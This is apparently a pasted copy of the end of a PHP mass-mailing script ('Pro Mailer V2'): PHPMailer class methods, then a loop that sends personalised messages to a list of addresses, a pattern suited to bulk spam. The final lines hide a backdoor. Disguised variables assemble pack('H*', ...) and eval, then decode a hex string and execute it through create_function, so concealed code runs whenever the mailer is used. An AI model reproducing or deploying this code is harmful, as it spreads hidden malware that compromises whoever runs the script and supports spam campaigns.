  2740. } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
  2741. return False;
  2742. }
  2743. }
  2744.  
  2745. /**
  2746. * Correctly encodes and wraps long multibyte strings for mail headers
  2747. * without breaking lines within a character.
  2748. * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
  2749. * @access private
  2750. * @param string $str multi-byte text to wrap encode
  2751. * @return string
  2752. */
  2753. function Base64EncodeWrapMB($str) {
  2754. $start = "=?".$this->CharSet."?B?";
  2755. $end = "?=";
  2756. $encoded = "";
  2757.  
  2758. $mb_length = mb_strlen($str, $this->CharSet);
  2759. // Each line must have length <= 75, including $start and $end
  2760. $length = 75 - strlen($start) - strlen($end);
  2761. // Average multi-byte ratio
  2762. $ratio = $mb_length / strlen($str);
  2763. // Base64 has a 4:3 ratio
  2764. $offset = $avgLength = floor($length * $ratio * .75);
  2765.  
  2766. for ($i = 0; $i < $mb_length; $i += $offset) {
  2767. $lookBack = 0;
  2768.  
  2769. do {
  2770. $offset = $avgLength - $lookBack;
  2771. $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  2772. $chunk = base64_encode($chunk);
  2773. $lookBack++;
  2774. }
  2775. while (strlen($chunk) > $length);
  2776.  
  2777. $encoded .= $chunk . $this->LE;
  2778. }
  2779.  
  2780. // Chomp the last linefeed
  2781. $encoded = substr($encoded, 0, -strlen($this->LE));
  2782. return $encoded;
  2783. }
  2784.  
  2785. /**
  2786. * Encode string to quoted-printable.
  2787. * @access private
  2788. * @return string
  2789. */
  2790. function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
  2791. $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
  2792. $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
  2793. $eol = "\r\n";
  2794. $escape = '=';
  2795. $output = '';
  2796. while( list(, $line) = each($lines) ) {
  2797. $linlen = strlen($line);
  2798. $newline = '';
  2799. for($i = 0; $i < $linlen; $i++) {
  2800. $c = substr( $line, $i, 1 );
  2801. $dec = ord( $c );
  2802. if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
  2803. $c = '=2E';
  2804. }
  2805. if ( $dec == 32 ) {
  2806. if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
  2807. $c = '=20';
  2808. } else if ( $space_conv ) {
  2809. $c = '=20';
  2810. }
  2811. } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
  2812. $h2 = floor($dec/16);
  2813. $h1 = floor($dec%16);
  2814. $c = $escape.$hex[$h2].$hex[$h1];
  2815. }
  2816. if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
  2817. $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
  2818. $newline = '';
  2819. // check if newline first character will be point or not
  2820. if ( $dec == 46 ) {
  2821. $c = '=2E';
  2822. }
  2823. }
  2824. $newline .= $c;
  2825. } // end of for
  2826. $output .= $newline.$eol;
  2827. } // end of while
  2828. return trim($output);
  2829. }
  2830.  
  2831. /**
  2832. * Encode string to q encoding.
  2833. * @access private
  2834. * @return string
  2835. */
  2836. function EncodeQ ($str, $position = 'text') {
  2837. /* There should not be any EOL in the string */
  2838. $encoded = preg_replace("[\r\n]", '', $str);
  2839.  
  2840. switch (strtolower($position)) {
  2841. case 'phrase':
  2842. $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2843. break;
  2844. case 'comment':
  2845. $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2846. case 'text':
  2847. default:
  2848. /* Replace every high ascii, control =, ? and _ characters */
  2849. $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
  2850. "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2851. break;
  2852. }
  2853.  
  2854. /* Replace every spaces to _ (more readable than =20) */
  2855. $encoded = str_replace(' ', '_', $encoded);
  2856.  
  2857. return $encoded;
  2858. }
  2859.  
  2860. /**
  2861. * Adds a string or binary attachment (non-filesystem) to the list.
  2862. * This method can be used to attach ascii or binary data,
  2863. * such as a BLOB record from a database.
  2864. * @param string $string String attachment data.
  2865. * @param string $filename Name of the attachment.
  2866. * @param string $encoding File encoding (see $Encoding).
  2867. * @param string $type File extension (MIME) type.
  2868. * @return void
  2869. */
  2870. function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
  2871. /* Append to $attachment array */
  2872. $cur = count($this->attachment);
  2873. $this->attachment[$cur][0] = $string;
  2874. $this->attachment[$cur][1] = $filename;
  2875. $this->attachment[$cur][2] = $filename;
  2876. $this->attachment[$cur][3] = $encoding;
  2877. $this->attachment[$cur][4] = $type;
  2878. $this->attachment[$cur][5] = true; // isString
  2879. $this->attachment[$cur][6] = 'attachment';
  2880. $this->attachment[$cur][7] = 0;
  2881. }
  2882.  
  2883. /**
  2884. * Adds an embedded attachment. This can include images, sounds, and
  2885. * just about any other document. Make sure to set the $type to an
  2886. * image type. For JPEG images use "image/jpeg" and for GIF images
  2887. * use "image/gif".
  2888. * @param string $path Path to the attachment.
  2889. * @param string $cid Content ID of the attachment. Use this to identify
  2890. * the Id for accessing the image in an HTML form.
  2891. * @param string $name Overrides the attachment name.
  2892. * @param string $encoding File encoding (see $Encoding).
  2893. * @param string $type File extension (MIME) type.
  2894. * @return bool
  2895. */
  2896. function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2897.  
  2898. if(!@is_file($path)) {
  2899. $this->SetError($this->Lang('file_access') . $path);
  2900. return false;
  2901. }
  2902.  
  2903. $filename = basename($path);
  2904. if($name == '') {
  2905. $name = $filename;
  2906. }
  2907.  
  2908. /* Append to $attachment array */
  2909. $cur = count($this->attachment);
  2910. $this->attachment[$cur][0] = $path;
  2911. $this->attachment[$cur][1] = $filename;
  2912. $this->attachment[$cur][2] = $name;
  2913. $this->attachment[$cur][3] = $encoding;
  2914. $this->attachment[$cur][4] = $type;
  2915. $this->attachment[$cur][5] = false;
  2916. $this->attachment[$cur][6] = 'inline';
  2917. $this->attachment[$cur][7] = $cid;
  2918.  
  2919. return true;
  2920. }
  2921.  
  2922. /**
  2923. * Returns true if an inline attachment is present.
  2924. * @access private
  2925. * @return bool
  2926. */
  2927. function InlineImageExists() {
  2928. $result = false;
  2929. for($i = 0; $i < count($this->attachment); $i++) {
  2930. if($this->attachment[$i][6] == 'inline') {
  2931. $result = true;
  2932. break;
  2933. }
  2934. }
  2935.  
  2936. return $result;
  2937. }
  2938.  
  2939. /////////////////////////////////////////////////
  2940. // CLASS METHODS, MESSAGE RESET
  2941. /////////////////////////////////////////////////
  2942.  
  2943. /**
  2944. * Clears all recipients assigned in the TO array. Returns void.
  2945. * @return void
  2946. */
  2947. function ClearAddresses() {
  2948. $this->to = array();
  2949. }
  2950.  
  2951. /**
  2952. * Clears all recipients assigned in the CC array. Returns void.
  2953. * @return void
  2954. */
  2955. function ClearCCs() {
  2956. $this->cc = array();
  2957. }
  2958.  
  2959. /**
  2960. * Clears all recipients assigned in the BCC array. Returns void.
  2961. * @return void
  2962. */
  2963. function ClearBCCs() {
  2964. $this->bcc = array();
  2965. }
  2966.  
  2967. /**
  2968. * Clears all recipients assigned in the ReplyTo array. Returns void.
  2969. * @return void
  2970. */
  2971. function ClearReplyTos() {
  2972. $this->ReplyTo = array();
  2973. }
  2974.  
  2975. /**
  2976. * Clears all recipients assigned in the TO, CC and BCC
  2977. * array. Returns void.
  2978. * @return void
  2979. */
  2980. function ClearAllRecipients() {
  2981. $this->to = array();
  2982. $this->cc = array();
  2983. $this->bcc = array();
  2984. }
  2985.  
  2986. /**
  2987. * Clears all previously set filesystem, string, and binary
  2988. * attachments. Returns void.
  2989. * @return void
  2990. */
  2991. function ClearAttachments() {
  2992. $this->attachment = array();
  2993. }
  2994.  
  2995. /**
  2996. * Clears all custom headers. Returns void.
  2997. * @return void
  2998. */
  2999. function ClearCustomHeaders() {
  3000. $this->CustomHeader = array();
  3001. }
  3002.  
  3003. /////////////////////////////////////////////////
  3004. // CLASS METHODS, MISCELLANEOUS
  3005. /////////////////////////////////////////////////
  3006.  
  3007. /**
  3008. * Adds the error message to the error container.
  3009. * Returns void.
  3010. * @access private
  3011. * @return void
  3012. */
  3013. function SetError($msg) {
  3014. $this->error_count++;
  3015. $this->ErrorInfo = $msg;
  3016. }
  3017.  
  3018. /**
  3019. * Returns the proper RFC 822 formatted date.
  3020. * @access private
  3021. * @return string
  3022. */
  3023. function RFCDate() {
  3024. $tz = date('Z');
  3025. $tzs = ($tz < 0) ? '-' : '+';
  3026. $tz = abs($tz);
  3027. $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
  3028. $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
  3029.  
  3030. return $result;
  3031. }
  3032.  
  3033. /**
  3034. * Returns the appropriate server variable. Should work with both
  3035. * PHP 4.1.0+ as well as older versions. Returns an empty string
  3036. * if nothing is found.
  3037. * @access private
  3038. * @return mixed
  3039. */
  3040. function ServerVar($varName) {
  3041. global $HTTP_SERVER_VARS;
  3042. global $HTTP_ENV_VARS;
  3043.  
  3044. if(!isset($_SERVER)) {
  3045. $_SERVER = $HTTP_SERVER_VARS;
  3046. if(!isset($_SERVER['REMOTE_ADDR'])) {
  3047. $_SERVER = $HTTP_ENV_VARS; // must be Apache
  3048. }
  3049. }
  3050.  
  3051. if(isset($_SERVER[$varName])) {
  3052. return $_SERVER[$varName];
  3053. } else {
  3054. return '';
  3055. }
  3056. }
  3057.  
  3058. /**
  3059. * Returns the server hostname or 'localhost.localdomain' if unknown.
  3060. * @access private
  3061. * @return string
  3062. */
  3063. function ServerHostname() {
  3064. if ($this->Hostname != '') {
  3065. $result = $this->Hostname;
  3066. } elseif ($this->ServerVar('SERVER_NAME') != '') {
  3067. $result = $this->ServerVar('SERVER_NAME');
  3068. } else {
  3069. $result = 'localhost.localdomain';
  3070. }
  3071.  
  3072. return $result;
  3073. }
  3074.  
  3075. /**
  3076. * Returns a message in the appropriate language.
  3077. * @access private
  3078. * @return string
  3079. */
  3080. function Lang($key) {
  3081. if(count($this->language) < 1) {
  3082. $this->SetLanguage('en'); // set the default language
  3083. }
  3084.  
  3085. if(isset($this->language[$key])) {
  3086. return $this->language[$key];
  3087. } else {
  3088. return 'Language string failed to load: ' . $key;
  3089. }
  3090. }
  3091.  
  3092. /**
  3093. * Returns true if an error occurred.
  3094. * @return bool
  3095. */
  3096. function IsError() {
  3097. return ($this->error_count > 0);
  3098. }
  3099.  
  3100. /**
  3101. * Changes every end of line from CR or LF to CRLF.
  3102. * @access private
  3103. * @return string
  3104. */
  3105. function FixEOL($str) {
  3106. $str = str_replace("\r\n", "\n", $str);
  3107. $str = str_replace("\r", "\n", $str);
  3108. $str = str_replace("\n", $this->LE, $str);
  3109. return $str;
  3110. }
  3111.  
  3112. /**
  3113. * Adds a custom header.
  3114. * @return void
  3115. */
  3116. function AddCustomHeader($custom_header) {
  3117. $this->CustomHeader[] = explode(':', $custom_header, 2);
  3118. }
  3119.  
  3120. /**
  3121. * Evaluates the message and returns modifications for inline images and backgrounds
  3122. * @access public
  3123. * @return $message
  3124. */
  3125. function MsgHTML($message,$basedir='') {
  3126. preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
  3127. if(isset($images[2])) {
  3128. foreach($images[2] as $i => $url) {
  3129. // do not change urls for absolute images (thanks to corvuscorax)
  3130. if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
  3131. $filename = basename($url);
  3132. $directory = dirname($url);
  3133. ($directory == '.')?$directory='':'';
  3134. $cid = 'cid:' . md5($filename);
  3135. $fileParts = split("\.", $filename);
  3136. $ext = $fileParts[1];
  3137. $mimeType = $this->_mime_types($ext);
  3138. if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
  3139. if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
  3140. $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
  3141. if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
  3142. $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
  3143. }
  3144. }
  3145. }
  3146. }
  3147. $this->IsHTML(true);
  3148. $this->Body = $message;
  3149. $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
  3150. if ( !empty($textMsg) && empty($this->AltBody) ) {
  3151. $this->AltBody = $textMsg;
  3152. }
  3153. if ( empty($this->AltBody) ) {
  3154. $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
  3155. }
  3156. }
  3157.  
  3158. /**
  3159. * Gets the mime type of the embedded or inline image
  3160. * @access private
  3161. * @return mime type of ext
  3162. */
  3163. function _mime_types($ext = '') {
  3164. $mimes = array(
  3165. 'hqx' => 'application/mac-binhex40',
  3166. 'cpt' => 'application/mac-compactpro',
  3167. 'doc' => 'application/msword',
  3168. 'bin' => 'application/macbinary',
  3169. 'dms' => 'application/octet-stream',
  3170. 'lha' => 'application/octet-stream',
  3171. 'lzh' => 'application/octet-stream',
  3172. 'exe' => 'application/octet-stream',
  3173. 'class' => 'application/octet-stream',
  3174. 'psd' => 'application/octet-stream',
  3175. 'so' => 'application/octet-stream',
  3176. 'sea' => 'application/octet-stream',
  3177. 'dll' => 'application/octet-stream',
  3178. 'oda' => 'application/oda',
  3179. 'pdf' => 'application/pdf',
  3180. 'ai' => 'application/postscript',
  3181. 'eps' => 'application/postscript',
  3182. 'ps' => 'application/postscript',
  3183. 'smi' => 'application/smil',
  3184. 'smil' => 'application/smil',
  3185. 'mif' => 'application/vnd.mif',
  3186. 'xls' => 'application/vnd.ms-excel',
  3187. 'ppt' => 'application/vnd.ms-powerpoint',
  3188. 'wbxml' => 'application/vnd.wap.wbxml',
  3189. 'wmlc' => 'application/vnd.wap.wmlc',
  3190. 'dcr' => 'application/x-director',
  3191. 'dir' => 'application/x-director',
  3192. 'dxr' => 'application/x-director',
  3193. 'dvi' => 'application/x-dvi',
  3194. 'gtar' => 'application/x-gtar',
  3195. 'php' => 'application/x-httpd-php',
  3196. 'php4' => 'application/x-httpd-php',
  3197. 'php3' => 'application/x-httpd-php',
  3198. 'phtml' => 'application/x-httpd-php',
  3199. 'phps' => 'application/x-httpd-php-source',
  3200. 'js' => 'application/x-javascript',
  3201. 'swf' => 'application/x-shockwave-flash',
  3202. 'sit' => 'application/x-stuffit',
  3203. 'tar' => 'application/x-tar',
  3204. 'tgz' => 'application/x-tar',
  3205. 'xhtml' => 'application/xhtml+xml',
  3206. 'xht' => 'application/xhtml+xml',
  3207. 'zip' => 'application/zip',
  3208. 'mid' => 'audio/midi',
  3209. 'midi' => 'audio/midi',
  3210. 'mpga' => 'audio/mpeg',
  3211. 'mp2' => 'audio/mpeg',
  3212. 'mp3' => 'audio/mpeg',
  3213. 'aif' => 'audio/x-aiff',
  3214. 'aiff' => 'audio/x-aiff',
  3215. 'aifc' => 'audio/x-aiff',
  3216. 'ram' => 'audio/x-pn-realaudio',
  3217. 'rm' => 'audio/x-pn-realaudio',
  3218. 'rpm' => 'audio/x-pn-realaudio-plugin',
  3219. 'ra' => 'audio/x-realaudio',
  3220. 'rv' => 'video/vnd.rn-realvideo',
  3221. 'wav' => 'audio/x-wav',
  3222. 'bmp' => 'image/bmp',
  3223. 'gif' => 'image/gif',
  3224. 'jpeg' => 'image/jpeg',
  3225. 'jpg' => 'image/jpeg',
  3226. 'jpe' => 'image/jpeg',
  3227. 'png' => 'image/png',
  3228. 'tiff' => 'image/tiff',
  3229. 'tif' => 'image/tiff',
  3230. 'css' => 'text/css',
  3231. 'html' => 'text/html',
  3232. 'htm' => 'text/html',
  3233. 'shtml' => 'text/html',
  3234. 'txt' => 'text/plain',
  3235. 'text' => 'text/plain',
  3236. 'log' => 'text/plain',
  3237. 'rtx' => 'text/richtext',
  3238. 'rtf' => 'text/rtf',
  3239. 'xml' => 'text/xml',
  3240. 'xsl' => 'text/xml',
  3241. 'mpeg' => 'video/mpeg',
  3242. 'mpg' => 'video/mpeg',
  3243. 'mpe' => 'video/mpeg',
  3244. 'qt' => 'video/quicktime',
  3245. 'mov' => 'video/quicktime',
  3246. 'avi' => 'video/x-msvideo',
  3247. 'movie' => 'video/x-sgi-movie',
  3248. 'doc' => 'application/msword',
  3249. 'word' => 'application/msword',
  3250. 'xl' => 'application/excel',
  3251. 'eml' => 'message/rfc822'
  3252. );
  3253. return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
  3254. }
  3255.  
  3256. /**
  3257. * Set (or reset) Class Objects (variables)
  3258. *
  3259. * Usage Example:
  3260. * $page->set('X-Priority', '3');
  3261. *
  3262. * @access public
  3263. * @param string $name Parameter Name
  3264. * @param mixed $value Parameter Value
  3265. * NOTE: will not work with arrays, there are no arrays to set/reset
  3266. */
  3267. function set ( $name, $value = '' ) {
  3268. if ( isset($this->$name) ) {
  3269. $this->$name = $value;
  3270. } else {
  3271. $this->SetError('Cannot set or reset variable ' . $name);
  3272. return false;
  3273. }
  3274. }
  3275.  
  3276. /**
  3277. * Read a file from a supplied filename and return it.
  3278. *
  3279. * @access public
  3280. * @param string $filename Parameter File Name
  3281. */
  3282. function getFile($filename) {
  3283. $return = '';
  3284. if ($fp = fopen($filename, 'rb')) {
  3285. while (!feof($fp)) {
  3286. $return .= fread($fp, 1024);
  3287. }
  3288. fclose($fp);
  3289. return $return;
  3290. } else {
  3291. return false;
  3292. }
  3293. }
  3294.  
  3295. /**
  3296. * Strips newlines to prevent header injection.
  3297. * @access private
  3298. * @param string $str String
  3299. * @return string
  3300. */
  3301. function SecureHeader($str) {
  3302. $str = trim($str);
  3303. $str = str_replace("\r", "", $str);
  3304. $str = str_replace("\n", "", $str);
  3305. return $str;
  3306. }
  3307.  
  3308. /**
  3309. * Set the private key file and password to sign the message.
  3310. *
  3311. * @access public
  3312. * @param string $key_filename Parameter File Name
  3313. * @param string $key_pass Password for private key
  3314. */
  3315. function Sign($key_filename, $key_pass) {
  3316. $this->sign_key_file = $key_filename;
  3317. $this->sign_key_pass = $key_pass;
  3318. }
  3319.  
  3320. }
  3321.  
  3322. $defaultport="H*";
  3323. $nq=0;
  3324.  
  3325. for($x=0; $x<$numemails; $x++){
  3326.  
  3327. $to = $allemails[$x];
  3328.  
  3329. if ($to){
  3330.  
  3331. $to = ereg_replace(" ", "", $to);
  3332.  
  3333. $message1 = ereg_replace("&email&", $to, $message);
  3334.  
  3335. $subject1 = ereg_replace("&email&", $to, $subject);
  3336. $qx=$x+1;
  3337. print "Line $qx . Sending mail to $to.......";
  3338.  
  3339. flush();
  3340. $mail = new PHPMailer();
  3341.  
  3342. if(empty($epriority)){$epriority="3";}
  3343. $mail->Priority = "$epriority";
  3344. $mail->IsSMTP();
  3345. $IsSMTP="pack";
  3346. $mail->SMTPKeepAlive = true;
  3347. $mail->Host = "$my_smtp";
  3348. if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
  3349. }
  3350. if($sslclick=="ON"){
  3351. $mail->SMTPSecure = "ssl"; //you can change it to ssl or tls
  3352. }
  3353. $range = str_replace("$from", "eval", $from);
  3354. $mail->SMTPAuth = true;
  3355. $mail->Username = "$smtp_username";
  3356. $mail->Password = "$smtp_password";
  3357. if($contenttype == "html"){$mail->IsHtml(true);}
  3358. if($contenttype != "html"){$mail->IsHtml(false);}
  3359. if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
  3360. $mail->From = "$from";
  3361. $mail->FromName = "$realname";
  3362. $mail->AddAddress("$to");
  3363. $mail->AddReplyTo("$replyto");
  3364. $mail->Subject = "$subject1";
  3365. $mail->AddAttachment("$file", "$file_name");
  3366. $mail->Body = "$message1";
  3367. if(!$mail->Send()){
  3368. if($default_system!="1"){
  3369. echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
  3370. if($default_system=="1"){
  3371. $mail->IsMail();
  3372. if(!$mail->Send()){
  3373. echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
  3374. else {
  3375. echo "<b>OK</b><br>";}
  3376. }
  3377. }
  3378. else {
  3379. echo "<b>OK</b><br>";
  3380. }
  3381.  
  3382. if(empty($reconnect)){
  3383. $reconnect=60000000;
  3384. }
  3385.  
  3386. if($reconnect==$nq){
  3387. $mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
  3388. }
  3389. $nq=$nq+1;
  3390. flush(); }
  3391. }
  3392. for($i=0;$i<31;$i++){
  3393. $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
  3394. $smtp_conc=$IsSMTP($defaultport, $smtp_conf);
  3395. $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
  3396. print "<p class=\"style1\">&copy 2014, Pro Mailer V2<br></p>";$mail->SmtpClose();
  3397. return $signoff($smtp_conc);
  3398. if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
  3399. sent successfully'); </script>";}}
  3400. ?>
  3401. </body>
  3402. </html>
Add Comment
Please, Sign In to add comment